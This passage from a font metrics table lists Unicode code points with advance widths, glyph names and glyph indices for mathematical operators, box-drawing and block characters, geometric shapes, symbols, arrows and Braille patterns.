U 8855 ; WX 838 ; N circlemultiply ; G 2300
U 8856 ; WX 838 ; N uni2298 ; G 2301
U 8857 ; WX 838 ; N uni2299 ; G 2302
U 8858 ; WX 838 ; N uni229A ; G 2303
U 8859 ; WX 838 ; N uni229B ; G 2304
U 8860 ; WX 838 ; N uni229C ; G 2305
U 8861 ; WX 838 ; N uni229D ; G 2306
U 8862 ; WX 838 ; N uni229E ; G 2307
U 8863 ; WX 838 ; N uni229F ; G 2308
U 8864 ; WX 838 ; N uni22A0 ; G 2309
U 8865 ; WX 838 ; N uni22A1 ; G 2310
U 8866 ; WX 884 ; N uni22A2 ; G 2311
U 8867 ; WX 884 ; N uni22A3 ; G 2312
U 8868 ; WX 960 ; N uni22A4 ; G 2313
U 8869 ; WX 960 ; N perpendicular ; G 2314
U 8870 ; WX 616 ; N uni22A6 ; G 2315
U 8871 ; WX 616 ; N uni22A7 ; G 2316
U 8872 ; WX 884 ; N uni22A8 ; G 2317
U 8873 ; WX 884 ; N uni22A9 ; G 2318
U 8874 ; WX 884 ; N uni22AA ; G 2319
U 8875 ; WX 1080 ; N uni22AB ; G 2320
U 8876 ; WX 884 ; N uni22AC ; G 2321
U 8877 ; WX 884 ; N uni22AD ; G 2322
U 8878 ; WX 884 ; N uni22AE ; G 2323
U 8879 ; WX 1080 ; N uni22AF ; G 2324
U 8900 ; WX 626 ; N uni22C4 ; G 2325
U 8901 ; WX 398 ; N dotmath ; G 2326
U 8962 ; WX 834 ; N house ; G 2327
U 8968 ; WX 473 ; N uni2308 ; G 2328
U 8969 ; WX 473 ; N uni2309 ; G 2329
U 8970 ; WX 473 ; N uni230A ; G 2330
U 8971 ; WX 473 ; N uni230B ; G 2331
U 8976 ; WX 838 ; N revlogicalnot ; G 2332
U 8977 ; WX 539 ; N uni2311 ; G 2333
U 8984 ; WX 928 ; N uni2318 ; G 2334
U 8985 ; WX 838 ; N uni2319 ; G 2335
U 8992 ; WX 579 ; N integraltp ; G 2336
U 8993 ; WX 579 ; N integralbt ; G 2337
U 8997 ; WX 1000 ; N uni2325 ; G 2338
U 9000 ; WX 1443 ; N uni2328 ; G 2339
U 9085 ; WX 1008 ; N uni237D ; G 2340
U 9115 ; WX 500 ; N uni239B ; G 2341
U 9116 ; WX 500 ; N uni239C ; G 2342
U 9117 ; WX 500 ; N uni239D ; G 2343
U 9118 ; WX 500 ; N uni239E ; G 2344
U 9119 ; WX 500 ; N uni239F ; G 2345
U 9120 ; WX 500 ; N uni23A0 ; G 2346
U 9121 ; WX 500 ; N uni23A1 ; G 2347
U 9122 ; WX 500 ; N uni23A2 ; G 2348
U 9123 ; WX 500 ; N uni23A3 ; G 2349
U 9124 ; WX 500 ; N uni23A4 ; G 2350
U 9125 ; WX 500 ; N uni23A5 ; G 2351
U 9126 ; WX 500 ; N uni23A6 ; G 2352
U 9127 ; WX 750 ; N uni23A7 ; G 2353
U 9128 ; WX 750 ; N uni23A8 ; G 2354
U 9129 ; WX 750 ; N uni23A9 ; G 2355
U 9130 ; WX 750 ; N uni23AA ; G 2356
U 9131 ; WX 750 ; N uni23AB ; G 2357
U 9132 ; WX 750 ; N uni23AC ; G 2358
U 9133 ; WX 750 ; N uni23AD ; G 2359
U 9134 ; WX 579 ; N uni23AE ; G 2360
U 9167 ; WX 945 ; N uni23CF ; G 2361
U 9251 ; WX 834 ; N uni2423 ; G 2362
U 9472 ; WX 602 ; N SF100000 ; G 2363
U 9473 ; WX 602 ; N uni2501 ; G 2364
U 9474 ; WX 602 ; N SF110000 ; G 2365
U 9475 ; WX 602 ; N uni2503 ; G 2366
U 9476 ; WX 602 ; N uni2504 ; G 2367
U 9477 ; WX 602 ; N uni2505 ; G 2368
U 9478 ; WX 602 ; N uni2506 ; G 2369
U 9479 ; WX 602 ; N uni2507 ; G 2370
U 9480 ; WX 602 ; N uni2508 ; G 2371
U 9481 ; WX 602 ; N uni2509 ; G 2372
U 9482 ; WX 602 ; N uni250A ; G 2373
U 9483 ; WX 602 ; N uni250B ; G 2374
U 9484 ; WX 602 ; N SF010000 ; G 2375
U 9485 ; WX 602 ; N uni250D ; G 2376
U 9486 ; WX 602 ; N uni250E ; G 2377
U 9487 ; WX 602 ; N uni250F ; G 2378
U 9488 ; WX 602 ; N SF030000 ; G 2379
U 9489 ; WX 602 ; N uni2511 ; G 2380
U 9490 ; WX 602 ; N uni2512 ; G 2381
U 9491 ; WX 602 ; N uni2513 ; G 2382
U 9492 ; WX 602 ; N SF020000 ; G 2383
U 9493 ; WX 602 ; N uni2515 ; G 2384
U 9494 ; WX 602 ; N uni2516 ; G 2385
U 9495 ; WX 602 ; N uni2517 ; G 2386
U 9496 ; WX 602 ; N SF040000 ; G 2387
U 9497 ; WX 602 ; N uni2519 ; G 2388
U 9498 ; WX 602 ; N uni251A ; G 2389
U 9499 ; WX 602 ; N uni251B ; G 2390
U 9500 ; WX 602 ; N SF080000 ; G 2391
U 9501 ; WX 602 ; N uni251D ; G 2392
U 9502 ; WX 602 ; N uni251E ; G 2393
U 9503 ; WX 602 ; N uni251F ; G 2394
U 9504 ; WX 602 ; N uni2520 ; G 2395
U 9505 ; WX 602 ; N uni2521 ; G 2396
U 9506 ; WX 602 ; N uni2522 ; G 2397
U 9507 ; WX 602 ; N uni2523 ; G 2398
U 9508 ; WX 602 ; N SF090000 ; G 2399
U 9509 ; WX 602 ; N uni2525 ; G 2400
U 9510 ; WX 602 ; N uni2526 ; G 2401
U 9511 ; WX 602 ; N uni2527 ; G 2402
U 9512 ; WX 602 ; N uni2528 ; G 2403
U 9513 ; WX 602 ; N uni2529 ; G 2404
U 9514 ; WX 602 ; N uni252A ; G 2405
U 9515 ; WX 602 ; N uni252B ; G 2406
U 9516 ; WX 602 ; N SF060000 ; G 2407
U 9517 ; WX 602 ; N uni252D ; G 2408
U 9518 ; WX 602 ; N uni252E ; G 2409
U 9519 ; WX 602 ; N uni252F ; G 2410
U 9520 ; WX 602 ; N uni2530 ; G 2411
U 9521 ; WX 602 ; N uni2531 ; G 2412
U 9522 ; WX 602 ; N uni2532 ; G 2413
U 9523 ; WX 602 ; N uni2533 ; G 2414
U 9524 ; WX 602 ; N SF070000 ; G 2415
U 9525 ; WX 602 ; N uni2535 ; G 2416
U 9526 ; WX 602 ; N uni2536 ; G 2417
U 9527 ; WX 602 ; N uni2537 ; G 2418
U 9528 ; WX 602 ; N uni2538 ; G 2419
U 9529 ; WX 602 ; N uni2539 ; G 2420
U 9530 ; WX 602 ; N uni253A ; G 2421
U 9531 ; WX 602 ; N uni253B ; G 2422
U 9532 ; WX 602 ; N SF050000 ; G 2423
U 9533 ; WX 602 ; N uni253D ; G 2424
U 9534 ; WX 602 ; N uni253E ; G 2425
U 9535 ; WX 602 ; N uni253F ; G 2426
U 9536 ; WX 602 ; N uni2540 ; G 2427
U 9537 ; WX 602 ; N uni2541 ; G 2428
U 9538 ; WX 602 ; N uni2542 ; G 2429
U 9539 ; WX 602 ; N uni2543 ; G 2430
U 9540 ; WX 602 ; N uni2544 ; G 2431
U 9541 ; WX 602 ; N uni2545 ; G 2432
U 9542 ; WX 602 ; N uni2546 ; G 2433
U 9543 ; WX 602 ; N uni2547 ; G 2434
U 9544 ; WX 602 ; N uni2548 ; G 2435
U 9545 ; WX 602 ; N uni2549 ; G 2436
U 9546 ; WX 602 ; N uni254A ; G 2437
U 9547 ; WX 602 ; N uni254B ; G 2438
U 9548 ; WX 602 ; N uni254C ; G 2439
U 9549 ; WX 602 ; N uni254D ; G 2440
U 9550 ; WX 602 ; N uni254E ; G 2441
U 9551 ; WX 602 ; N uni254F ; G 2442
U 9552 ; WX 602 ; N SF430000 ; G 2443
U 9553 ; WX 602 ; N SF240000 ; G 2444
U 9554 ; WX 602 ; N SF510000 ; G 2445
U 9555 ; WX 602 ; N SF520000 ; G 2446
U 9556 ; WX 602 ; N SF390000 ; G 2447
U 9557 ; WX 602 ; N SF220000 ; G 2448
U 9558 ; WX 602 ; N SF210000 ; G 2449
U 9559 ; WX 602 ; N SF250000 ; G 2450
U 9560 ; WX 602 ; N SF500000 ; G 2451
U 9561 ; WX 602 ; N SF490000 ; G 2452
U 9562 ; WX 602 ; N SF380000 ; G 2453
U 9563 ; WX 602 ; N SF280000 ; G 2454
U 9564 ; WX 602 ; N SF270000 ; G 2455
U 9565 ; WX 602 ; N SF260000 ; G 2456
U 9566 ; WX 602 ; N SF360000 ; G 2457
U 9567 ; WX 602 ; N SF370000 ; G 2458
U 9568 ; WX 602 ; N SF420000 ; G 2459
U 9569 ; WX 602 ; N SF190000 ; G 2460
U 9570 ; WX 602 ; N SF200000 ; G 2461
U 9571 ; WX 602 ; N SF230000 ; G 2462
U 9572 ; WX 602 ; N SF470000 ; G 2463
U 9573 ; WX 602 ; N SF480000 ; G 2464
U 9574 ; WX 602 ; N SF410000 ; G 2465
U 9575 ; WX 602 ; N SF450000 ; G 2466
U 9576 ; WX 602 ; N SF460000 ; G 2467
U 9577 ; WX 602 ; N SF400000 ; G 2468
U 9578 ; WX 602 ; N SF540000 ; G 2469
U 9579 ; WX 602 ; N SF530000 ; G 2470
U 9580 ; WX 602 ; N SF440000 ; G 2471
U 9581 ; WX 602 ; N uni256D ; G 2472
U 9582 ; WX 602 ; N uni256E ; G 2473
U 9583 ; WX 602 ; N uni256F ; G 2474
U 9584 ; WX 602 ; N uni2570 ; G 2475
U 9585 ; WX 602 ; N uni2571 ; G 2476
U 9586 ; WX 602 ; N uni2572 ; G 2477
U 9587 ; WX 602 ; N uni2573 ; G 2478
U 9588 ; WX 602 ; N uni2574 ; G 2479
U 9589 ; WX 602 ; N uni2575 ; G 2480
U 9590 ; WX 602 ; N uni2576 ; G 2481
U 9591 ; WX 602 ; N uni2577 ; G 2482
U 9592 ; WX 602 ; N uni2578 ; G 2483
U 9593 ; WX 602 ; N uni2579 ; G 2484
U 9594 ; WX 602 ; N uni257A ; G 2485
U 9595 ; WX 602 ; N uni257B ; G 2486
U 9596 ; WX 602 ; N uni257C ; G 2487
U 9597 ; WX 602 ; N uni257D ; G 2488
U 9598 ; WX 602 ; N uni257E ; G 2489
U 9599 ; WX 602 ; N uni257F ; G 2490
U 9600 ; WX 769 ; N upblock ; G 2491
U 9601 ; WX 769 ; N uni2581 ; G 2492
U 9602 ; WX 769 ; N uni2582 ; G 2493
U 9603 ; WX 769 ; N uni2583 ; G 2494
U 9604 ; WX 769 ; N dnblock ; G 2495
U 9605 ; WX 769 ; N uni2585 ; G 2496
U 9606 ; WX 769 ; N uni2586 ; G 2497
U 9607 ; WX 769 ; N uni2587 ; G 2498
U 9608 ; WX 769 ; N block ; G 2499
U 9609 ; WX 769 ; N uni2589 ; G 2500
U 9610 ; WX 769 ; N uni258A ; G 2501
U 9611 ; WX 769 ; N uni258B ; G 2502
U 9612 ; WX 769 ; N lfblock ; G 2503
U 9613 ; WX 769 ; N uni258D ; G 2504
U 9614 ; WX 769 ; N uni258E ; G 2505
U 9615 ; WX 769 ; N uni258F ; G 2506
U 9616 ; WX 769 ; N rtblock ; G 2507
U 9617 ; WX 769 ; N ltshade ; G 2508
U 9618 ; WX 769 ; N shade ; G 2509
U 9619 ; WX 769 ; N dkshade ; G 2510
U 9620 ; WX 769 ; N uni2594 ; G 2511
U 9621 ; WX 769 ; N uni2595 ; G 2512
U 9622 ; WX 769 ; N uni2596 ; G 2513
U 9623 ; WX 769 ; N uni2597 ; G 2514
U 9624 ; WX 769 ; N uni2598 ; G 2515
U 9625 ; WX 769 ; N uni2599 ; G 2516
U 9626 ; WX 769 ; N uni259A ; G 2517
U 9627 ; WX 769 ; N uni259B ; G 2518
U 9628 ; WX 769 ; N uni259C ; G 2519
U 9629 ; WX 769 ; N uni259D ; G 2520
U 9630 ; WX 769 ; N uni259E ; G 2521
U 9631 ; WX 769 ; N uni259F ; G 2522
U 9632 ; WX 945 ; N filledbox ; G 2523
U 9633 ; WX 945 ; N H22073 ; G 2524
U 9634 ; WX 945 ; N uni25A2 ; G 2525
U 9635 ; WX 945 ; N uni25A3 ; G 2526
U 9636 ; WX 945 ; N uni25A4 ; G 2527
U 9637 ; WX 945 ; N uni25A5 ; G 2528
U 9638 ; WX 945 ; N uni25A6 ; G 2529
U 9639 ; WX 945 ; N uni25A7 ; G 2530
U 9640 ; WX 945 ; N uni25A8 ; G 2531
U 9641 ; WX 945 ; N uni25A9 ; G 2532
U 9642 ; WX 678 ; N H18543 ; G 2533
U 9643 ; WX 678 ; N H18551 ; G 2534
U 9644 ; WX 945 ; N filledrect ; G 2535
U 9645 ; WX 945 ; N uni25AD ; G 2536
U 9646 ; WX 550 ; N uni25AE ; G 2537
U 9647 ; WX 550 ; N uni25AF ; G 2538
U 9648 ; WX 769 ; N uni25B0 ; G 2539
U 9649 ; WX 769 ; N uni25B1 ; G 2540
U 9650 ; WX 769 ; N triagup ; G 2541
U 9651 ; WX 769 ; N uni25B3 ; G 2542
U 9652 ; WX 502 ; N uni25B4 ; G 2543
U 9653 ; WX 502 ; N uni25B5 ; G 2544
U 9654 ; WX 769 ; N uni25B6 ; G 2545
U 9655 ; WX 769 ; N uni25B7 ; G 2546
U 9656 ; WX 502 ; N uni25B8 ; G 2547
U 9657 ; WX 502 ; N uni25B9 ; G 2548
U 9658 ; WX 769 ; N triagrt ; G 2549
U 9659 ; WX 769 ; N uni25BB ; G 2550
U 9660 ; WX 769 ; N triagdn ; G 2551
U 9661 ; WX 769 ; N uni25BD ; G 2552
U 9662 ; WX 502 ; N uni25BE ; G 2553
U 9663 ; WX 502 ; N uni25BF ; G 2554
U 9664 ; WX 769 ; N uni25C0 ; G 2555
U 9665 ; WX 769 ; N uni25C1 ; G 2556
U 9666 ; WX 502 ; N uni25C2 ; G 2557
U 9667 ; WX 502 ; N uni25C3 ; G 2558
U 9668 ; WX 769 ; N triaglf ; G 2559
U 9669 ; WX 769 ; N uni25C5 ; G 2560
U 9670 ; WX 769 ; N uni25C6 ; G 2561
U 9671 ; WX 769 ; N uni25C7 ; G 2562
U 9672 ; WX 769 ; N uni25C8 ; G 2563
U 9673 ; WX 873 ; N uni25C9 ; G 2564
U 9674 ; WX 494 ; N lozenge ; G 2565
U 9675 ; WX 873 ; N circle ; G 2566
U 9676 ; WX 873 ; N uni25CC ; G 2567
U 9677 ; WX 873 ; N uni25CD ; G 2568
U 9678 ; WX 873 ; N uni25CE ; G 2569
U 9679 ; WX 873 ; N H18533 ; G 2570
U 9680 ; WX 873 ; N uni25D0 ; G 2571
U 9681 ; WX 873 ; N uni25D1 ; G 2572
U 9682 ; WX 873 ; N uni25D2 ; G 2573
U 9683 ; WX 873 ; N uni25D3 ; G 2574
U 9684 ; WX 873 ; N uni25D4 ; G 2575
U 9685 ; WX 873 ; N uni25D5 ; G 2576
U 9686 ; WX 527 ; N uni25D6 ; G 2577
U 9687 ; WX 527 ; N uni25D7 ; G 2578
U 9688 ; WX 791 ; N invbullet ; G 2579
U 9689 ; WX 970 ; N invcircle ; G 2580
U 9690 ; WX 970 ; N uni25DA ; G 2581
U 9691 ; WX 970 ; N uni25DB ; G 2582
U 9692 ; WX 387 ; N uni25DC ; G 2583
U 9693 ; WX 387 ; N uni25DD ; G 2584
U 9694 ; WX 387 ; N uni25DE ; G 2585
U 9695 ; WX 387 ; N uni25DF ; G 2586
U 9696 ; WX 873 ; N uni25E0 ; G 2587
U 9697 ; WX 873 ; N uni25E1 ; G 2588
U 9698 ; WX 769 ; N uni25E2 ; G 2589
U 9699 ; WX 769 ; N uni25E3 ; G 2590
U 9700 ; WX 769 ; N uni25E4 ; G 2591
U 9701 ; WX 769 ; N uni25E5 ; G 2592
U 9702 ; WX 590 ; N openbullet ; G 2593
U 9703 ; WX 945 ; N uni25E7 ; G 2594
U 9704 ; WX 945 ; N uni25E8 ; G 2595
U 9705 ; WX 945 ; N uni25E9 ; G 2596
U 9706 ; WX 945 ; N uni25EA ; G 2597
U 9707 ; WX 945 ; N uni25EB ; G 2598
U 9708 ; WX 769 ; N uni25EC ; G 2599
U 9709 ; WX 769 ; N uni25ED ; G 2600
U 9710 ; WX 769 ; N uni25EE ; G 2601
U 9711 ; WX 1119 ; N uni25EF ; G 2602
U 9712 ; WX 945 ; N uni25F0 ; G 2603
U 9713 ; WX 945 ; N uni25F1 ; G 2604
U 9714 ; WX 945 ; N uni25F2 ; G 2605
U 9715 ; WX 945 ; N uni25F3 ; G 2606
U 9716 ; WX 873 ; N uni25F4 ; G 2607
U 9717 ; WX 873 ; N uni25F5 ; G 2608
U 9718 ; WX 873 ; N uni25F6 ; G 2609
U 9719 ; WX 873 ; N uni25F7 ; G 2610
U 9720 ; WX 769 ; N uni25F8 ; G 2611
U 9721 ; WX 769 ; N uni25F9 ; G 2612
U 9722 ; WX 769 ; N uni25FA ; G 2613
U 9723 ; WX 830 ; N uni25FB ; G 2614
U 9724 ; WX 830 ; N uni25FC ; G 2615
U 9725 ; WX 732 ; N uni25FD ; G 2616
U 9726 ; WX 732 ; N uni25FE ; G 2617
U 9727 ; WX 769 ; N uni25FF ; G 2618
U 9728 ; WX 896 ; N uni2600 ; G 2619
U 9784 ; WX 896 ; N uni2638 ; G 2620
U 9785 ; WX 896 ; N uni2639 ; G 2621
U 9786 ; WX 896 ; N smileface ; G 2622
U 9787 ; WX 896 ; N invsmileface ; G 2623
U 9788 ; WX 896 ; N sun ; G 2624
U 9791 ; WX 614 ; N uni263F ; G 2625
U 9792 ; WX 731 ; N female ; G 2626
U 9793 ; WX 731 ; N uni2641 ; G 2627
U 9794 ; WX 896 ; N male ; G 2628
U 9795 ; WX 896 ; N uni2643 ; G 2629
U 9796 ; WX 896 ; N uni2644 ; G 2630
U 9797 ; WX 896 ; N uni2645 ; G 2631
U 9798 ; WX 896 ; N uni2646 ; G 2632
U 9799 ; WX 896 ; N uni2647 ; G 2633
U 9824 ; WX 896 ; N spade ; G 2634
U 9825 ; WX 896 ; N uni2661 ; G 2635
U 9826 ; WX 896 ; N uni2662 ; G 2636
U 9827 ; WX 896 ; N club ; G 2637
U 9828 ; WX 896 ; N uni2664 ; G 2638
U 9829 ; WX 896 ; N heart ; G 2639
U 9830 ; WX 896 ; N diamond ; G 2640
U 9831 ; WX 896 ; N uni2667 ; G 2641
U 9833 ; WX 472 ; N uni2669 ; G 2642
U 9834 ; WX 638 ; N musicalnote ; G 2643
U 9835 ; WX 896 ; N musicalnotedbl ; G 2644
U 9836 ; WX 896 ; N uni266C ; G 2645
U 9837 ; WX 472 ; N uni266D ; G 2646
U 9838 ; WX 357 ; N uni266E ; G 2647
U 9839 ; WX 484 ; N uni266F ; G 2648
U 10145 ; WX 838 ; N uni27A1 ; G 2649
U 10181 ; WX 457 ; N uni27C5 ; G 2650
U 10182 ; WX 457 ; N uni27C6 ; G 2651
U 10208 ; WX 494 ; N uni27E0 ; G 2652
U 10216 ; WX 457 ; N uni27E8 ; G 2653
U 10217 ; WX 457 ; N uni27E9 ; G 2654
U 10224 ; WX 838 ; N uni27F0 ; G 2655
U 10225 ; WX 838 ; N uni27F1 ; G 2656
U 10226 ; WX 838 ; N uni27F2 ; G 2657
U 10227 ; WX 838 ; N uni27F3 ; G 2658
U 10228 ; WX 1033 ; N uni27F4 ; G 2659
U 10229 ; WX 1434 ; N uni27F5 ; G 2660
U 10230 ; WX 1434 ; N uni27F6 ; G 2661
U 10231 ; WX 1434 ; N uni27F7 ; G 2662
U 10232 ; WX 1434 ; N uni27F8 ; G 2663
U 10233 ; WX 1434 ; N uni27F9 ; G 2664
U 10234 ; WX 1434 ; N uni27FA ; G 2665
U 10235 ; WX 1434 ; N uni27FB ; G 2666
U 10236 ; WX 1434 ; N uni27FC ; G 2667
U 10237 ; WX 1434 ; N uni27FD ; G 2668
U 10238 ; WX 1434 ; N uni27FE ; G 2669
U 10239 ; WX 1434 ; N uni27FF ; G 2670
U 10240 ; WX 781 ; N uni2800 ; G 2671
U 10241 ; WX 781 ; N uni2801 ; G 2672
U 10242 ; WX 781 ; N uni2802 ; G 2673
U 10243 ; WX 781 ; N uni2803 ; G 2674
U 10244 ; WX 781 ; N uni2804 ; G 2675
U 10245 ; WX 781 ; N uni2805 ; G 2676
U 10246 ; WX 781 ; N uni2806 ; G 2677
U 10247 ; WX 781 ; N uni2807 ; G 2678
U 10248 ; WX 781 ; N uni2808 ; G 2679
U 10249 ; WX 781 ; N uni2809 ; G 2680
U 10250 ; WX 781 ; N uni280A ; G 2681
U 10251 ; WX 781 ; N uni280B ; G 2682
U 10252 ; WX 781 ; N uni280C ; G 2683
U 10253 ; WX 781 ; N uni280D ; G 2684
U 10254 ; WX 781 ; N uni280E ; G 2685
U 10255 ; WX 781 ; N uni280F ; G 2686
U 10256 ; WX 781 ; N uni2810 ; G 2687
U 10257 ; WX 781 ; N uni2811 ; G 2688
U 10258 ; WX 781 ; N uni2812 ; G 2689
U 10259 ; WX 781 ; N uni2813 ; G 2690
U 10260 ; WX 781 ; N uni2814 ; G 2691
U 10261 ; WX 781 ; N uni2815 ; G 2692
U 10262 ; WX 781 ; N uni2816 ; G 2693
U 10263 ; WX 781 ; N uni2817 ; G 2694
U 10264 ; WX 781 ; N uni2818 ; G 2695
U 10265 ; WX 781 ; N uni2819 ; G 2696
U 10266 ; WX 781 ; N uni281A ; G 2697
U 10267 ; WX 781 ; N uni281B ; G 2698
U 10268 ; WX 781 ; N uni281C ; G 2699
U 10269 ; WX 781 ; N uni281D ; G 2700
U 10270 ; WX 781 ; N uni281E ; G 2701
U 10271 ; WX 781 ; N uni281F ; G 2702
U 10272 ; WX 781 ; N uni2820 ; G 2703
U 10273 ; WX 781 ; N uni2821 ; G 2704
U 10274 ; WX 781 ; N uni2822 ; G 2705
U 10275 ; WX 781 ; N uni2823 ; G 2706
U 10276 ; WX 781 ; N uni2824 ; G 2707
U 10277 ; WX 781 ; N uni2825 ; G 2708
U 10278 ; WX 781 ; N uni2826 ; G 2709
U 10279 ; WX 781 ; N uni2827 ; G 2710
U 10280 ; WX 781 ; N uni2828 ; G 2711
U 10281 ; WX 781 ; N uni2829 ; G 2712
U 10282 ; WX 781 ; N uni282A ; G 2713
U 10283 ; WX 781 ; N uni282B ; G 2714
U 10284 ; WX 781 ; N uni282C ; G 2715
U 10285 ; WX 781 ; N uni282D ; G 2716
U 10286 ; WX 781 ; N uni282E ; G 2717
U 10287 ; WX 781 ; N uni282F ; G 2718
U 10288 ; WX 781 ; N uni2830 ; G 2719
U 10289 ; WX 781 ; N uni2831 ; G 2720
U 10290 ; WX 781 ; N uni2832 ; G 2721
U 10291 ; WX 781 ; N uni2833 ; G 2722
U 10292 ; WX 781 ; N uni2834 ; G 2723
U 10293 ; WX 781 ; N uni2835 ; G 2724
U 10294 ; WX 781 ; N uni2836 ; G 2725
U 10295 ; WX 781 ; N uni2837 ; G 2726
U 10296 ; WX 781 ; N uni2838 ; G 2727
U 10297 ; WX 781 ; N uni2839 ; G 2728
U 10298 ; WX 781 ; N uni283A ; G 2729
U 10299 ; WX 781 ; N uni283B ; G 2730
U 10300 ; WX 781 ; N uni283C ; G 2731
U 10301 ; WX 781 ; N uni283D ; G 2732
U 10302 ; WX 781 ; N uni283E ; G 2733
U 10303 ; WX 781 ; N uni283F ; G 2734
U 10304 ; WX 781 ; N uni2840 ; G 2735
U 10305 ; WX 781 ; N uni2841 ; G 2736
U 10306 ; WX 781 ; N uni2842 ; G 2737
U 10307 ; WX 781 ; N uni2843 ; G 2738
U 10308 ; WX 781 ; N uni2844 ; G 2739
U 10309 ; WX 781 ; N uni2845 ; G 2740
U 10310 ; WX 781 ; N uni2846 ; G 2741
U 10311 ; WX 781 ; N uni2847 ; G 2742
U 10312 ; WX 781 ; N uni2848 ; G 2743
U 10313 ; WX 781 ; N uni2849 ; G 2744
U 10314 ; WX 781 ; N uni284A ; G 2745
U 10315 ; WX 781 ; N uni284B ; G 2746
U 10316 ; WX 781 ; N uni284C ; G 2747
U 10317 ; WX 781 ; N uni284D ; G 2748
U 10318 ; WX 781 ; N uni284E ; G 2749
U 10319 ; WX 781 ; N uni284F ; G 2750
U 10320 ; WX 781 ; N uni2850 ; G 2751
U 10321 ; WX 781 ; N uni2851 ; G 2752
U 10322 ; WX 781 ; N uni2852 ; G 2753
U 10323 ; WX 781 ; N uni2853 ; G 2754
U 10324 ; WX 781 ; N uni2854 ; G 2755
U 10325 ; WX 781 ; N uni2855 ; G 2756
U 10326 ; WX 781 ; N uni2856 ; G 2757
U 10327 ; WX 781 ; N uni2857 ; G 2758
U 10328 ; WX 781 ; N uni2858 ; G 2759
U 10329 ; WX 781 ; N uni2859 ; G 2760
U 10330 ; WX 781 ; N uni285A ; G 2761
U 10331 ; WX 781 ; N uni285B ; G 2762
U 10332 ; WX 781 ; N uni285C ; G 2763
U 10333 ; WX 781 ; N uni285D ; G 2764
U 10334 ; WX 781 ; N uni285E ; G 2765
U 10335 ; WX 781 ; N uni285F ; G 2766
U 10336 ; WX 781 ; N uni2860 ; G 2767
U 10337 ; WX 781 ; N uni2861 ; G 2768
U 10338 ; WX 781 ; N uni2862 ; G 2769
U 10339 ; WX 781 ; N uni2863 ; G 2770
U 10340 ; WX 781 ; N uni2864 ; G 2771
U 10341 ; WX 781 ; N uni2865 ; G 2772
U 10342 ; WX 781 ; N uni2866 ; G 2773
U 10343 ; WX 781 ; N uni2867 ; G 2774
U 10344 ; WX 781 ; N uni2868 ; G 2775
U 10345 ; WX 781 ; N uni2869 ; G 2776
U 10346 ; WX 781 ; N uni286A ; G 2777
U 10347 ; WX 781 ; N uni286B ; G 2778
U 10348 ; WX 781 ; N uni286C ; G 2779
U 10349 ; WX 781 ; N uni286D ; G 2780
U 10350 ; WX 781 ; N uni286E ; G 2781
U 10351 ; WX 781 ; N uni286F ; G 2782
U 10352 ; WX 781 ; N uni2870 ; G 2783
U 10353 ; WX 781 ; N uni2871 ; G 2784
U 10354 ; WX 781 ; N uni2872 ; G 2785
U 10355 ; WX 781 ; N uni2873 ; G 2786
U 10356 ; WX 781 ; N uni2874 ; G 2787
U 10357 ; WX 781 ; N uni2875 ; G 2788
U 10358 ; WX 781 ; N uni2876 ; G 2789
U 10359 ; WX 781 ; N uni2877 ; G 2790
U 10360 ; WX 781 ; N uni2878 ; G 2791
U 10361 ; WX 781 ; N uni2879 ; G 2792
U 10362 ; WX 781 ; N uni287A ; G 2793
U 10363 ; WX 781 ; N uni287B ; G 2794
U 10364 ; WX 781 ; N uni287C ; G 2795
U 10365 ; WX 781 ; N uni287D ; G 2796
U 10366 ; WX 781 ; N uni287E ; G 2797
U 10367 ; WX 781 ; N uni287F ; G 2798
U 10368 ; WX 781 ; N uni2880 ; G 2799
U 10369 ; WX 781 ; N uni2881 ; G 2800
U 10370 ; WX 781 ; N uni2882 ; G 2801
U 10371 ; WX 781 ; N uni2883 ; G 2802
U 10372 ; WX 781 ; N uni2884 ; G 2803
U 10373 ; WX 781 ; N uni2885 ; G 2804
U 10374 ; WX 781 ; N uni2886 ; G 2805
U 10375 ; WX 781 ; N uni2887 ; G 2806
U 10376 ; WX 781 ; N uni2888 ; G 2807
U 10377 ; WX 781 ; N uni2889 ; G 2808
U 10378 ; WX 781 ; N uni288A ; G 2809
U 10379 ; WX 781 ; N uni288B ; G 2810
U 10380 ; WX 781 ; N uni288C ; G 2811
U 10381 ; WX 781 ; N uni288D ; G 2812
U 10382 ; WX 781 ; N uni288E ; G 2813
U 10383 ; WX 781 ; N uni288F ; G 2814
U 10384 ; WX 781 ; N uni2890 ; G 2815
U 10385 ; WX 781 ; N uni2891 ; G 2816
U 10386 ; WX 781 ; N uni2892 ; G 2817
U 10387 ; WX 781 ; N uni2893 ; G 2818
U 10388 ; WX 781 ; N uni2894 ; G 2819
U 10389 ; WX 781 ; N uni2895 ; G 2820
U 10390 ; WX 781 ; N uni2896 ; G 2821
U 10391 ; WX 781 ; N uni2897 ; G 2822
U 10392 ; WX 781 ; N uni2898 ; G 2823
U 10393 ; WX 781 ; N uni2899 ; G 2824
U 10394 ; WX 781 ; N uni289A ; G 2825
U 10395 ; WX 781 ; N uni289B ; G 2826
U 10396 ; WX 781 ; N uni289C ; G 2827
U 10397 ; WX 781 ; N uni289D ; G 2828
U 10398 ; WX 781 ; N uni289E ; G 2829
U 10399 ; WX 781 ; N uni289F ; G 2830
U 10400 ; WX 781 ; N uni28A0 ; G 2831
U 10401 ; WX 781 ; N uni28A1 ; G 2832
U 10402 ; WX 781 ; N uni28A2 ; G 2833
U 10403 ; WX 781 ; N uni28A3 ; G 2834
U 10404 ; WX 781 ; N uni28A4 ; G 2835
U 10405 ; WX 781 ; N uni28A5 ; G 2836
U 10406 ; WX 781 ; N uni28A6 ; G 2837
U 10407 ; WX 781 ; N uni28A7 ; G 2838
U 10408 ; WX 781 ; N uni28A8 ; G 2839
U 10409 ; WX 781 ; N uni28A9 ; G 2840
U 10410 ; WX 781 ; N uni28AA ; G 2841
U 10411 ; WX 781 ; N uni28AB ; G 2842
U 10412 ; WX 781 ; N uni28AC ; G 2843
U 10413 ; WX 781 ; N uni28AD ; G 2844
U 10414 ; WX 781 ; N uni28AE ; G 2845
U 10415 ; WX 781 ; N uni28AF ; G 2846
U 10416 ; WX 781 ; N uni28B0 ; G 2847
U 10417 ; WX 781 ; N uni28B1 ; G 2848
U 10418 ; WX 781 ; N uni28B2 ; G 2849
U 10419 ; WX 781 ; N uni28B3 ; G 2850
U 10420 ; WX 781 ; N uni28B4 ; G 2851
U 10421 ; WX 781 ; N uni28B5 ; G 2852
U 10422 ; WX 781 ; N uni28B6 ; G 2853
U 10423 ; WX 781 ; N uni28B7 ; G 2854
U 10424 ; WX 781 ; N uni28B8 ; G 2855
U 10425 ; WX 781 ; N uni28B9 ; G 2856
